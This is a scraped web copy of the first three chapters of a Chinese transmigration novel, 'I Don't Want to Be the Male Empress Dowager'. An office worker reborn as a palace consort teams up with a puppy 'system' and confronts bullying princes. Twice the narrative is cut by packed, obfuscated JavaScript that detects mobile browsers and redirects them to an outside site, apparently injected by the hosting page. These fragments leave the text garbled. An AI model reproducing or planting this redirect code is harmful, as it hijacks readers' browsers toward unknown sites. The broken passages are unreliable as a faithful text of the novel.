《我不想当男太后[穿书]》 1. 第 1 章 曲月翎遭遇火灾被浓烟呛死了。 他觉得自己这么坏的一个人,死后肯定要下地狱。 结果死后他却只听到有狗在叫。 那狗还是个狗崽子,叫声嘤嘤嘤的很是稚嫩,可传入曲月翎耳中后却变成了一道年轻男人焦急的声音:“生前何必久睡?死后自会长眠,宿主,求求你快醒醒,别再睡了!” 曲月翎闻言忍不住回道:“你有病吧?我已经死了啊,除了长眠我还能干什么?” 狗接着叫:“你又活了。” 活了? 曲月翎倏地睁眼,发现自己果然没死,可他眼前不是医院死寂的天花板和刺目的白炽灯,而是一片层层叠叠,宛如碧波草浪微微拂动的翠色薄纱帐幔。 ——谁家好人复活后头顶一片绿啊? 这也太不吉利了! 哦,他是坏人,那没事了。 曲月翎望着头顶的绿面无表情,十指交叠搭在小腹上,躺得和死了一样安详。 这时一只身细头长,耳毛垂密,像扎着双马尾似的纯黑小狗跳到曲月翎肩旁,用前足扒拉他,继续狗叫:“宿主,你终于醒了,我是你的系统!” 系统? 刚刚就是这玩意在狗叫? 曲月翎转动眼珠,冷冷瞥着自称为“系统”的黑狗,在心里问他:[你在狗叫什么?] 谁知系统也在问他:“宿主你怎么不说话啊?” 曲月翎反问:[我不正是在和你说话吗?] 不料系统同样再问:“难道宿主你还没睡醒?” “你不是我的系统吗?”曲月翎很纳闷,终于张唇出声,“为什么我在脑海里和你说话你听不到?” 系统发出了委屈的小狗嘤嘤叫:“我是实体系统……不具备脑内沟通功能。” 曲月翎愕然万分:“原来你真是一条狗?” “……都说了我是实体系统!”系统坚持道,“先别纠结这个问题了,宿主,我们时间紧,任务重,我就长话短说吧——你死了,然后穿书了,穿成了《帝王骨》这本书中同名同姓的男配角‘曲月翎’,而我们穿书的任务目标是完成曲月翎的剧情线,当上男太后!” 《帝王骨》这个书名曲月翎死都不会忘,因为死前他正好看过这本书。 还来不及将眼下的情况完全理清,曲月翎便听见系统紧张道:“现在你先准备一下,因为丽妃马上就要来狂扇你耳光,打烂你的嘴了。” 曲月翎一听也慌了,立刻撑着床榻直起上身:“……什、什么?” “曲月翎!你这个贱人——!” 说丽妃,丽妃到。 系统的狗叫声才落,另一道娇艳暴躁的御姐女声就从他卧房外由远及近,为她骂声伴奏的还有叫人头皮发麻的裂空鞭哨,以及宫人们试图阻拦她“丽妃娘娘,您冷静一点!”“千万不能冲动啊!”的经典台词。 曲月翎听着,再也维持不住死人般的安详表情了。 他攥紧被子颤声向系统打听:“系统你别骗我,她真的只是来扇我耳光,不是来拿鞭子抽死我吗?” 系统比他快一步先钻到床底下躲好,然后狗叫着安慰他:“放心吧,宿主,我们俩都有‘顶级牛马’的头衔加成,在完成任务以前是不会死的,她抽不死你。” 曲月翎:“?” 所以是真的会被抽吗? ——谁家坏人也不会开局就送一百连抽啊! “好你个淫.娃荡棍!” 丽妃这时已突破了宫人们的阻拦,一脚将门踹开:“一个下不了蛋的公鸡,也有脸肖想独占徵郎?我呸!” 在闯入曲月翎的栖月宫之前,丽妃听说这厮是个喜好涂脂抹粉、不知羞耻顶替其姐身份入宫为妃的死断袖,他进宫后,还日日缠着陛下,不许陛下临幸他人。 昨晚要不是这个死断袖从中作梗,装病截走了陛下,陛下一定会在她宫里过夜的! 截宠之仇不可不报,丽妃发誓她今天一定要扇烂曲月翎那张整天画得像死人一样的晦气脸。 “看我不打死……” 然而当丽妃挥手一把掀开碧色的纱幔,与帐中人那双浓郁纯粹的松绿眼眸对上时,她愤愤的怒骂便骤然间断了,高高举起的胳膊也停滞在半空,怎么都扇不下去。 因为帐中没有贱人,只有美人。 那美人额间点着一抹艳红,左眼瞳底正下方,也缀有一粒红痣,像是滴盈盈欲落的泪。 他在惊惧间捏着被角惶惶坐起,里衣散开露出半截瓷白窄肩,一身玉肌雪骨晃得人心旌摇曳,鬓侧的绿松耳坠与那双剔透碧眸交相辉映,更是闪得她意荡神驰。 见状,丽妃僵在半空的胳膊终于落下去了—— 而曲月翎望着女人的手掌距离自己脸庞越来越近,满脑子都在回荡一句话:救救我救救我救救我…… 他是走窝囊路线马上跪下抱着丽妃的大腿哽咽装哭,说姐姐我错了我不该勾引你老公,求求你别打了。 还是暴露本性,露出歹毒的丑恶嘴脸,躲开丽妃的巴掌并大声骂回去,说姐姐好事成双,有本事你连你老公一起打啊,他连我都娶男女不忌肯定也是个欠抽的老逼登吧? 可丽妃能将鞭子甩出花,他如果敢顶嘴,肯定会得到吃不完的嘴巴子! 所以还是滑跪道歉吧。 毕竟当小三难免挨打! 于是曲月翎闭眼侧过脸庞,做好了被打完一巴掌便立刻哭着认错求饶的准备,却没想到丽妃只用手背缓缓蹭了下他的面颊。 ……嗯? 怎么没被打? 曲月翎小心翼翼睁开一只眼睛,偷觑丽妃。 而丽妃也痴痴望着他,率先发出哽咽的声音:“如此美人,我见犹怜,何况徵郎……” 没等曲月翎反应过来,她又满脸怜惜,坐到榻上,握住曲月翎一只手,反复抚摸他的手背:“弟弟,你这手好白、好细、好滑啊……哎唷!你身上也好香……” 曲月翎:“……” 不是,姐姐,你不是来抽我的吗?摸我干什么呀? 感觉自己和丽妃目前手牵手的诡异状态被宫人瞧见会解释不清,有给皇帝戴绿帽子的嫌疑,曲月翎就试探性轻轻地抽了抽手,想把自己的手从丽妃掌心里抽出来,却没抽动。 而丽妃看到他抽手,长叹一声,继续骂 :“罢!必是粱怀徵那老王八蛋淫.性大发,才将你掳入宫中,你连我都挣脱不开,对那男女不忌的下流痞子又有何反抗之力呢?” “好弟弟,你放心,姐姐定会为你做主。” “老娘这就找粱怀徵那淫贼算账去——!” 丽妃撂下这句话,又摸了两把曲月翎的手背,随后甩着鞭子风风火火地走了。 手背都被她摸红了的曲月翎:“…………” “越妃娘娘,您没事吧?” 丽妃一出殿,门外怕得不行的奴婢和太监们才敢细着嗓音进屋,曲月翎则差点被他们“越妃娘娘”的称谓又给叫厥过去,赶紧把人都打发走了,随后从被子里探出脚,踢踢床榻,对系统冷笑:“细狗,你刚刚溜的很快嘛。” “咳……是细犬,细犬就是很善于奔跑的啦。” 系统从床底下爬出来,做完苍白的辩解,又试图转移话题:“宿主大人,您真是厉害,一句话都没说就轻松化解了第一场危机!” “细犬?我又不是二郎神,给我配条哮天犬有什么用?”曲月翎忍不住吐槽,“我作为一个拥有‘顶级牛马’头衔的穿书者,凭什么不给我配个能用积分兑换商城奖品的系统啊?” 系统说:“近年来穿书者太多了,那种高级系统不够分配了,而且宿主,你额心那颗红痣四舍五入一下,其实也能当成第三只眼睛来看的,所以配细犬实体系统正正好。” “……” 曲月翎懒得喷它,随手拨了一下垂在身前的墨色长发,也转移话题说:“除了头发变卷,我现在这具身体和我以前的身体相比,还有其他变化吗?” “变年轻了,现在的你刚满十八岁~”系统告诉他,说到十八岁三个字时嗓音还夹起来了,“眼睛也变绿了,不过除了这三处,别的地方都没变化。” 曲月翎霎时了然:“哦,那就不奇怪了。” 他这人唯一的优点就是长得好看。 这或许就是丽妃刚才没能狠得下心扇他巴掌的原因吧。 “没错!”系统也骄傲地说,“我们时空调正局非常贴心,连你有心脏病的特点都保留下来了呢!” 曲月翎:“?” 曲月翎:“我穿书前已经做过心脏移植手术了啊。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634805|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 系统一对狗耳朵心虚地压低,小声说:“……这不是穿书了吗?” 曲月翎被它气得喘不过气,闭着眼睛昏昏沉沉倒回鹅黄色的锦枕上,心想难怪丽妃一走自己就后知后觉感到胸腔憋闷,喘息困难,这会儿还有些头晕心悸,难受得和他没做手术前一模一样,原来是又得心脏病了啊。 “放心,不会死的,真不会死。”系统把狗爪子搭到床沿,安抚曲月翎,“宿主您消消气,被气病死不掉苦的还是自己。” 曲月翎:“……” 曲月翎睁开眼睛瞪他。 系统把狗尾巴也夹紧了:“对了,宿主,我这里有个好消息,只要你顺利走完‘曲月翎’的剧情线,当上男太后,你就能回到原来的世界,还可以获得‘返老还童’的奖励。” 曲月翎:“……我死的时候也才二十五岁,就已经老到需要还童的地步了吗?” 系统劝他看开点:“四舍五入奔三了,是大龄牛马了。” “好吧。”曲月翎顿了顿,声音忽地变轻,“……能还童到几岁呢?” “几岁都行。”系统又摇起了狗尾巴,“我同事的宿主们就喜欢重回婴儿时期,开启龙傲天的一生。” 曲月翎闻言不由侧首,透过飘曳的碧色轻纱望向窗外那片翠意葳蕤,生机盎然的夜兰香,低声呢喃:“不用回到婴儿时期,就让我重回十八岁吧。” “成,都成。”系统答应他,“但我们得先当上男太后完成剧情线。” 曲月翎揉着额角又闭上眼睛:“一定要当男太后才行吗……我不想当男妈妈啊。” 系统很坚定:“必须当。” 当了好几年牛马的曲月翎熟练地妥协了:“……当就当!” 做区区男太后,总不至于比做社畜牛马还命苦吧? 可惜眼下手边没有咖啡,否则他怎么也要给自己灌一杯社畜必备的牛马兽药,但没有问题也不大,就像系统说的,反正死不掉。 曲月翎深吸一口气,强忍着身体的不适,赤足从榻上走下,到外间的书案拿取出宣纸和毛笔,挽袖就写:“系统,你先和我完整讲述一下这本书的剧情,然后我们根据全文的时间线,分别制定一下短期、中期、长期目标,再搭建一个绩效考核体系,依据KPI的完成指数,进行每周总结,每月反思,每季度评估项目进展,及时调整优化计划……” 系统目瞪口呆望着泼墨挥毫,笔走龙蛇的曲月翎,讷讷狗叫:“宿主您等一下……” “还等什么?浪费时间就是浪费生命。”曲月翎蹙着眉睨它一眼,肃声说,“十八岁正是当牛马的好年纪,好些人这个年纪都进厂打工了,我们也得立马行动起来。” “我这里还有一个坏消息没说。”系统又狗叫,“我不知道剧情。” 曲月翎:“?” 这叫坏消息吗? 这叫噩耗啊! 听完系统的话,青年笔锋一歪,凝聚的墨汁在宣纸上晕开一滩污黑,纤细的身体仿佛遭受不住沉重打击晃了两下,扶住桌面后才堪堪站稳。 他难以置信:“你是系统你不知道剧情?” 系统弱声:“我是实体系统,和别的系统不一样嘛……” “……可如果你不知道剧情。”曲月翎攥紧笔杆,指尖压得发白,质问系统,“那你刚刚是怎么知道丽妃要来打我的?” 系统用狗爪子挠挠头:“丽妃一路骂着你过来的,你出去随便转两圈,皇宫里头没聋的都知道她要来打你啊。” “……” 曲月翎再也支撑不住,靠着案几软软倒下,捂着心口不住喘息,他气若游丝,衬着眼下的红痣,骂人都像在垂泪啜泣:“那你能有什么用?” “能跑!”瞧上去刚断奶的肥狗崽子系统立正了,甚至抬起前肢给曲月翎敬了个礼,“我听到丽妃要来打你的消息,就立马跑回来给你通风报信了!” 曲月翎听完喉咙漫上一股腥甜。 系统像是察觉到了他的绝望,焦急地小跑到青年身旁,用湿润的狗狗鼻蹭蹭他,往曲月翎心口插上最致命的一刀:“你还是穿书者呢,难道你没看过书就穿进来了吗?” 问的真好。 看是看过的,但是只看了一页就穿了。 天底下还有比他更倒霉的穿书者吗? 2. 第 2 章 曲月翎觉得是没有的。 穿书前,他是个家境优渥的富家子弟。 从小没为钱发过愁,直到大学毕业踏入社会,才开始明白“钱难赚屎难吃”这句话,每日每时每刻不是在工作,就是在工作的路上。 所以曲月翎觉得自己哪天如果死了,那有99%的可能性是猝死。 结果他在二十五岁生日这天真的死了,死亡原因却不是猝死,而是那1%的例外——火灾。 死亡前,每月十佳牛马社畜……不是,十佳勤奋员工曲月翎正在公司里一边吃夜宵一边看小说。 他没有摸鱼,看小说也是工作的一部分。 他们公司刚接下一款要将小说改编为游戏的单子,曲月翎作为团队的建模师之一,本来只需要看设计原画,同事却嘿嘿笑着把原著小说也递给他了,还叮嘱他一定要先看第七页的人物介绍。 等翻到那页一瞧,曲月翎就明白同事把小说递给自己时为什么嘴都快笑歪了。 因为这本小说里有个人物和自己同名同姓,也叫曲月翎,人物简介字数不多,但句句狗血元素拉满: 【征枢十九年,小宛三皇子曲月翎代替其姐曲月珠与卫祁国君梁怀徵和亲,入宫始封“越妃”,抚养三皇子梁初景。 征枢二十二年,梁初景被封太子,曲月翎晋贵妃。 征枢二十五年,梁怀徵宾天,太子梁初景继位,改年号为朔阳,立钟以窈为后,奉曲月翎为太后。同年,曲月翎垂帘听政,权倾朝野……】 ——又是“替嫁”又是男太后的,这些剧情同事看了能不笑吗? 目前还不知道公司里有多少同事看了这本书,没看的等看了以后估计也会笑得想死。 幸好曲月翎眼里只看得到钱,只要公司开的工资够高,别说是面对同事们的嬉笑,就是让他睡在公司007都没问题,这就是他生日当晚都要留下来加班的原因——老板给的钱实在是太多了。 有加班费拿曲月翎越想越开心,准备吃完宵夜后趴桌上眯半个小时再起来继续工作。 不料睡到一半被浓烟呛醒,醒来时公司里火势太大,已经来不及逃跑了,曲月翎就此穿书,得到一只很能跑的细狗系统。 “罢!”曲月翎学着丽妃的口吻叹息一声,“虽然我只看了一页,可那一页给的信息量很多,已足够我推算出大致剧情了。” 狗崽子系统马上夸他:“宿主您真厉害,那么您推算出男主是了谁吗?” 这是肯定的。 首先,这本书叫《帝王骨》,那么主角一定是能当皇帝的人。 其次,曲月翎有个养子叫梁初景,后来登基当了皇帝,他也因此被梁初景奉为太后,那么梁初景一定是男主。 最后,男主的皇后钟以窈那肯定就是女主了。 曲月翎记得那页人物介绍的最末尾,还提到了钟以窈曾经是冷宫里的小宫女,年长梁初景七岁,在梁初景年幼时照顾过他一段时间,待他极好,因此梁初景对钟以窈情根深种,一登基就不顾曲月翎的反对,立她为后。 于是曲月翎告诉系统:“男主当然是我的好大儿,卫祁三皇子梁初景,而女主是他老婆钟以窈。” 说完他又问:“我儿现在在何处?” 系统说出新的坏消息:“您还没有儿子。” “怎么会没有呢?”曲月翎蹙眉不解,“人物简介上说我一入宫就被封为‘越妃’,还得到了三皇子梁初景的抚养权。” 系统的坏消息讲不完:“您现在是越妃没错,但是……您还没有儿子。” 据系统所言,它比曲月翎早几天来到这里,观察了原主几日,然后发现原主就是小宛皇室一个被宠坏的纨绔皇子,脾气奇烂,入宫后又仗着受皇帝宠爱,更是嚣张跋扈的不得了。 平时行为举止扭捏造作不说,还特别喜欢涂脂抹粉,硬生生把自己一张好脸糟蹋的不堪入目,入宫不过半月,就把宫里的人都最罪了大半,昨晚又装病截了丽妃的宠,才惹得丽妃一大清早前来问罪。 “原主为人是真不讨喜,如果您没穿过来,由着他又去抹一脸粉,再和丽妃的火爆脾气撞上,那肯定会挨一顿打。”系统也和曲月翎讲了下它的推测,“可丽妃膝下有一子,皇帝梁怀徽不会罚她太重,原主见状,心想自己是男子之身,就算承宠无法生下皇子,想要稳固地位,这才和皇帝求了三皇子梁初景的抚养权吧。” 曲月翎疑惑:“他一求,皇帝就给了吗?” 系统望着曲月翎那张雪中艳花般的面孔,心想你别学原主搽胭抹粉,就顶着这张脸去见皇帝,即使不求说不定也会给的。 不过系统还是选择讲正事:“您不知道,原主究竟有多得宠,连虞贵妃都要避其锋芒,他虽顶替了姐姐曲月珠进宫,可小宛和卫祁联姻的事实改变不了,原主身为‘和亲公主’,地位不算低,而皇帝其实也有意为三皇子寻一位养母,可宫中妃位及以上的妃子膝下都已有儿子,将三皇子交给她们中的谁照顾都不太合适,但给妃位以下的嫔妃抚养,皇帝也觉得不太妥当。” “确实。”曲月翎牛马多年,这些人情世故一点就透,“其他妃子都是辛苦生育才荣升妃位的,妃位以下的嫔妃若是凭借抚养三皇子就能封妃,对其他妃子不公;若不能封妃,那三皇子的养母身份地位又太低,还不如给我养呢。” “问题不大,我儿现在应当还在冷宫。” “我去看望看望他,然后再去暗示皇帝,说我怜惜三皇子在冷宫无依无靠,日子窘困,回来应该就可以准备迎接喜当爹的圣旨了。” 系统小声纠正:“是喜当妈。” 曲月翎瞪它。 系统又更小声地改正:“当男妈妈。” “……” 为了自己的身体着想,曲月翎佯装没听见这句话,撑着案几艰难站起。 只是他这具身体孱弱单薄,肤色冷白,情绪稍一激动,或是动作起伏太大,面颊就容易泛红,透出病态的血色。 所以系统望着曲月翎那副一丝两气,倦容蔫蔫的模样,关心地问:“宿主,您是不是不舒服?要不先回床上休息会儿,等好点了再出门吧,反正现在天色还早。” 谁知话音甫落,系统又被青年半嗔半怨地瞪了一眼。 “细狗,你怎么回事?”曲月翎似乎对它好意关怀的言语略感不满,“你怎么能怂恿我摸鱼偷懒呢?” 系统认真求教:“那我应该?” 曲月翎严肃地说:“你应该催我赶紧去走剧情,还必须要完成日常任务,如果没有每天打卡,就要狠狠电击惩罚我!” “……宿主,我是实体系统,没有电击功能。”系统解释,“我们也没有日常任务要完成,无论过程怎样,花了多少时间,只要您最后当上了男太后,就算完成剧情,而且我们时空调正局选人特别谨慎——” “我们给出的奖励,比惩罚更能激励你去走完剧情。” 曲月翎沉默须臾,忽地笑了:“确实如此。” “走吧。”他揪住系统的后颈肉,把狗抱进怀里,“我们去冷宫看看我的好大儿。” 原主是妃位,又深得圣宠,日常可乘轿辇出行。 正好原主刚进宫没多久,曲月翎就以熟悉皇宫为由,乘辇差使宫人们往冷宫的方向走。 “我们不能直接闯入冷宫,那样目的性也太明显了。”曲月翎在轿中压低嗓音,悄声和系统说自己的计划,“等快到冷宫时,你就大声哼唧,假装要去如厕,然后我把你放到地上,你再撒腿狂奔,往冷宫的方向冲,我会追着你过去的。” 系统点头:“没问题。” 曲月翎叮嘱它:“你可千万别被宫人们提前抓住啊。” “宿主,您放心。”系统自豪道,“除非他们骑马,否则没人追得上我。” 曲月翎闻言挑高了眉梢,一副不太相信的样子。 如果系统是只成年细犬,他肯定不会怀疑系统的话,可如今系统看上去就是只刚断奶的狗崽子,腿又短又肥,真能跑这么快吗? 曲月翎刚想说出自己的疑虑,系统忽地竖起一侧耳朵,告诉他:“宿主,前面似乎有人在吵架,好像是几个皇子在欺负人,我听见他们在喊什么‘殿下’……” 来了! 穿书的经典桥段—— 冷宫里的男主在童年时期,一定会被自己的兄弟或不长眼的宫人欺凌羞辱。 这时候自己倘若在男主面前出现,对他施以援手,救其于水火之中,那么自己的身影在男主眼里,必将如天神一般伟岸,男主轻则对他涌泉相报,重则以身相许,最次也能得个厚礼答谢。 因此即使曲月翎和宫人们什么都没听见,但大多数犬类的听力都比人类好,所以曲月翎把系统放下了:“速速去救我儿!” 系统很听话,一沾地就撒腿狂奔,几乎眨眼就没了影子,从曲月翎和宫人们的目光中消失,转而出现在另一行人的视线里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634806|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “汪汪汪!” 狗叫声惊扰了正在施暴的红衣少年,他抬起头看向声源,却没抬起踩住脚下之人脑袋的腿,蔑然嗤笑着问:“哪里来的野狗?” “二皇兄。”站在红衣少年左侧的紫衣少年回答道,“好像是越妃宫里的。” 阖宫皆知,小宛新来的“和亲公主”越妃养着一只通体油黑,身细耳长的细犬。 皇帝有多宠爱越妃,越妃就有多宠爱他的细犬。 为了不让自己的爱犬在宫中被旁人欺负,越妃还特地打了一枚镶嵌着青琅轩宝石,且刻有小宛国文“月”字的华贵金项圈,戴在小狗脖颈上,让见者知晓,这是他曲月翎的狗。 “这死狗叫得人心烦。”二皇子梁初锋乜眼瞥着黑狗,对另一个面容稚嫩,身体敦实的蓝衣少年说,“老五,你去把它赶走。” “啊?”被点到名的五皇子梁初睿愣了愣,继而讷讷点头,“哦哦哦……是,二皇兄。” 他笨拙地摆动着双臂,重重跺脚去恐吓那只细犬:“呿!一边去!” 可细犬并没有被他吓到,巍然不动地站在原地,还又“汪汪汪”地叫了几声。 被二皇子梁初锋踩住脑袋的容冽听见动静,便艰难地转动眼珠,阴郁冰冷的目光掠过五皇子梁初睿的面庞,定格在那只细犬身上,心想这真是讽刺。 自己身为邺国质子,纵使已被母国抛弃,也好歹是流着天家血脉的一国王公,而这群卫祁的皇子们敢将他轻蔑作践地踩在脚下,肆意欺辱,却如此忌惮一位宠妃豢养的小畜生,不敢触碰其分毫。 这是何等的讽刺? 容冽勾起唇角,从鼻间呵出一声阴鹜不屑的冷嗤。 哪怕这笑声会激怒二皇子梁初锋,令其对他的折辱变本加厉。 不过此时二皇子梁初锋的注意力全然不在容冽身上,因为他在容冽冷笑的同时不耐烦地“啧”了一声。 “梁初睿,你那副样子吓得到谁?”梁初锋连名带姓叫着五皇子的名字,“你踢它一脚啊。” 五皇子梁初睿的生母是静妃杨曦,在皇帝那不怎么受宠,靠着生育子嗣有功才封的妃,而越妃圣眷正浓,五皇子不想开罪父皇的宠妃给母后惹麻烦,就束手束脚地站在原地,唯唯诺诺道:“二皇兄……这是越妃的狗啊。” 紫衣少年见状,便对周围五皇子的宫人们下令:“你们站着干什么?都聋了?没听见二皇兄的话?” 五皇子宫人们闻言面面相觑,不禁腹诽:四殿下您怎么不叫自己的宫人或是二殿下的宫人去踢狗,非要叫我们去呢?莫不是也怕越妃问罪,不愿牵连自身吧? 但明面上,他们可不敢将话说的如此直白,只能学着自家主子的窝囊样,怯懦道:“四、四殿下……这是越妃娘娘的爱犬啊。” “一群废物!” 二皇子梁初锋终于舍得抬脚了,他一边骂着宫人们,一边迈步朝黑狗走去,抬脚欲踹之际,小狗灵活地躲开了,却叫得仿佛被狠狠踢了一脚似的,“嗷呜嗷呜”哼着跑向不远处。 容冽的目光跟随黑犬挪转,也望向那座高高在上的轿辇。 他看见伴侍的宫人们恭敬地掀开素色纱帘,轿中伸出一双瓷白胜雪的手,俯身以庇护之姿将那只跳上轿辇黑犬揽入怀抱。 黑犬仰起脑袋望轿中人。 一袭黑衣的容冽也仰头望他。 在看清青年面容的那一刹,容冽不知为何,竟回忆起自己前往卫祁途中的一夜。 那晚暴雨骤降,送质使团来不及赶到驿站避雨,不得不在路边的一座破庙内就近下榻。 破庙中有一尊被破旧帷幔遮去脸庞,看不清面容的菩萨,只能通过菩萨乘骑的青狮推断,这应当是可降伏一切烦恼魔障的大智文殊菩萨。 彼时他发着高热,隐隐感觉自己就快病死了。 他的侍从跪在菩萨前,磕头求菩萨庇佑他熬过这一劫难。 他在一声声祈愿祷文中艰难地睁眼,却怎么都无法透过那层帷幔,看到菩萨的模样。 直至今日,容冽逆着光仰首抬望,越过被掀开的轿帘素纱,那一夜自己总看不到脸庞的菩萨,在这一刻蓦然有了面容。 他的眉心有着一点红痣,眼底也有一抹嫣红,恍若悲悯世人时流下的血泪,而唇间泄出的音色犹如金玉击鸣,虽夹杂着些病弱乏力的咳喘,却是掷地有声,气势锋锐—— “二殿下,双马尾年幼不懂事,您何故对它下此重手?” 3. 第 3 章 “……双马尾?” 听到那疑似自己名字的三个字时,系统浑身一震,准备反驳,却被曲月翎一把捏住狗嘴无法狗叫。 而二皇子梁初锋重复念了遍这凑到一块略为怪异的三个字后,也搞懂了它是黑犬的名字,讥诮道:“这小畜生不长眼,乱嚷乱吠惹人心烦,我只是想替越妃管教一下它。对了——” 梁初锋顿了顿,望着青年清丽如画的眉眼,愠怒的话音渐渐软缓,狐疑地问:“……你是越妃?” 他记得越妃不长这样啊,怎么换了张脸? 轿中人闻言掀起眼帘,居高临下睨视着他,意有所指般说:“小畜生不长眼倒也无妨。” “它刚断奶没几日,左右伤不了二殿下。”说罢,青年又垂落长睫,凝望怀中爱犬的情态温柔神性,但话语里暗藏着刀锋剑芒,刺向旁人的同时,一并将周身不染纤尘的超俗气质杀得干干净净,恍若现出真身的魔罗邪佛,“可人不能不长眼,你们是都看不见三殿下吗?” “地上冷。” 曲月翎抬手抵唇轻咳两声,对身旁的宫人们道:“还不快扶三殿下起来。” 然而他的宫人着实不太中用,丽妃来打他时这群人跑得快,现在叫扶个人也像没听见一样一动不动。 ……难不成要自己下轿辇亲自扶三殿下起来吗? 曲月翎忖思犹豫间,他的宫人们也犹犹豫豫地小声询问:“翎公子……三殿下在哪?” 曲月翎:“?” 三殿下不是就在地上躺着吗? 曲月翎将目光投向方才被二皇子霸凌,瞧着才十二三岁,很适合做他的儿子黑衣少年。 系统却缩着脖颈,将自己的嘴巴从青年手里拯救出来,小声狗叫:“……宿主,地上这个不是你的好大儿梁初景,他虽然也排行第三,可他是邺国来的质子,容冽,平时宫人们都唤他‘容殿下’。” 不过他们的音量都不如曲月翎小。 “这么重要的事……”曲月翎收回落在容冽身上的慈父目光,转而用眼神狠狠揪系统的狗毛,几乎是咬紧了牙根把字从唇缝里挤出来的,“为什么不、早、说?” 系统解释:“我刚想说,但还来不及说,你就开始骂二皇子了。” 曲月翎:“……” 曲月翎:“算了,骂了就骂了吧,难道二皇子不该骂么?我死前每天上班只能当回复‘收到’的牛马,都快压抑成变态了,今天难得发场疯,爽!” “二皇子这小崽子落我手里算他活该倒霉,以后他再敢霸凌别人,我见一次骂一次!” 系统:“……” 和系统畅快地说完心里话,常年蝉联公司十佳员工的优秀牛马曲月翎斜瞥宫人一眼,悠声应付起这区区认错男主的小场面:“容殿下是邺国三皇子,难道担不得一声‘三殿下’吗?” “是是是……”宫人们不敢反驳,小跑到容冽身旁想扶他起来,“容殿下您请起……” 容冽却侧身避开了宫人的搀扶。 毕竟这位“越妃”入宫虽才半月,但他的名声容冽早有耳闻,总而言之,不是个好相与的。 容冽不认为这样的一个人会突然善心大发来救自己,何况露面至此,青年也仅只看过自己一眼。 虽然在那极短暂的一瞬对视间,容冽窥见那双绿瞳中似乎真有对自己的怜惜之意浮现,然而不等他细细看清,青年又很快垂眸望向了怀里的狗,看狗看得甚至比瞪二皇子都起劲。 无论青年眼中那抹怜惜是真是假,青年接下来应当都会和曾经可怜过他的嫔妃与宫人们一样,因不敢得罪二皇子背后的虞贵妃而远离他。 再者,越妃曲月翎此人身负流言颇多,与他走得太近不是什么好事。 眼下的二皇子,也绝不会因为曲月翎一时的阻拦就轻易放过他。 果不其然—— 二皇子梁出锋子都没等到容冽自己撑着地面站起,就冷冷出声:“慢着,我有说过让他……” “二殿下——” 谁知曲月翎貌似也没有要放过二皇子的意思,他打断梁出锋的话,揪着狗的事情不放:“您还没有回答我,双马尾年幼不懂事,您何故对它下此重手?” 二皇子很是莫名:“我碰都没碰到这小畜生,我对它下什么重手了?” “二殿下嘴皮子上下一合,说没碰到就没碰到吗?”曲月翎继续问,“证据呢?” 二皇子被曲月翎这一通胡乱纠缠气得胸膛连连起伏,他抓住距离自己最近一个宫人的衣领,将那太监拽到身前:“来——你来告诉越妃,我有碰到过他的小畜生吗?” 说罢他又环顾一圈四周,瞪着余下的宫人问:“你们看见了吗?” “……没、没有。”被二皇子拎高的小太监拼命摇头,和其他宫人们一起否认,“越妃娘娘,二殿下他没有踢到您的爱犬。” 随后二皇子将那名小太监扔开,喘着粗气问:“越妃,听清楚了吧?” 曲月翎也跟着他一块笑,绿眸弯弯的,好似一钩弦月,说出口的话却恶劣万分:“就算没碰到,你也吓到它了。” 二皇子闻言怒极反笑,厉声骂道:“放狗屁!” 曲月翎也扬高声音,回道:“我又没聋,你吼那么大声干什么?” 可话音刚落,他脸上神情便蓦然一变,蹙眉捂着心口痛苦道:“我也被二殿下吓到了……我的心好痛,我好难受……” 青年宛如一匹绸缎,孱弱无力倒靠向扶手,攀住轿边小太监的肩低声道:“快……” 那小太监望着肩头的美人,耳根子都红透了,匆忙垂眼再不敢看曲月翎,只急急道:“快!快宣御医——!” 曲月翎又咳了两声,把那声“傻子”咽回去,咬牙装柔弱说:“我是想让你快去告诉陛下,说阿翎福薄,怕是要挺不过去了……可阿翎对陛下的一片痴心,生死不改……” “你——!” 二皇子瞠目结舌望着曲月翎,指着他上前一步还想再说。 四皇子梁初恒赶紧拉住二皇子的手臂,低声劝他:“二哥,越妃行事乖张,与父皇旧情深厚,又因患有心疾而备受父皇优待,今日他摆明了就是冲你来的,我们万不可中计,做了他向父皇邀宠的棋子啊!” 经四皇子一提,二皇子显然也想起了越妃入宫半月作出的“丰功伟绩”,自觉锋芒盛不过这个死断袖,立刻转身留下一句“我们走”,便准备带着四、五两位皇子和宫人们离开。 不过曲月翎也绝不因为二皇子的一时退让就轻易放过他:“慢着,二殿下,我有说过让你走了吗?” “……” 二皇子假装没听见 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那双手的肤色比曲月翎略深一些,骨节微凸,手背上还有几处渗着血点的擦伤,掌心的温度炽热,透出与他名字截然相反的滚滚灼烈,发烫般地通过接触的肌肤传递给曲月翎。 他回握住少年的手,想把容冽拉起来,却不明白为什么少年看上去颀长瘦削,结果一使劲自己就往前倾,不仅没把人拉起来,还差点扑到少年身上,最后还是捏紧了容冽的手掌借力一撑才站稳身形。 ……这孩子可真沉啊。 曲月翎讪笑两声,又见容冽墨发垂散,将脸遮去大半,只露出一只点漆般幽邃的暗深眼瞳,无声而阴郁地望着自己,便下意识伸手,想把那些散发往后拨,检查看看少年还有没有其他地方受伤,毕竟他记得容冽刚才是被二皇子踩着脑袋压在地上的。 但就在曲月翎的指尖要碰到那些发丝时,容冽忽然挥臂推了他一把。 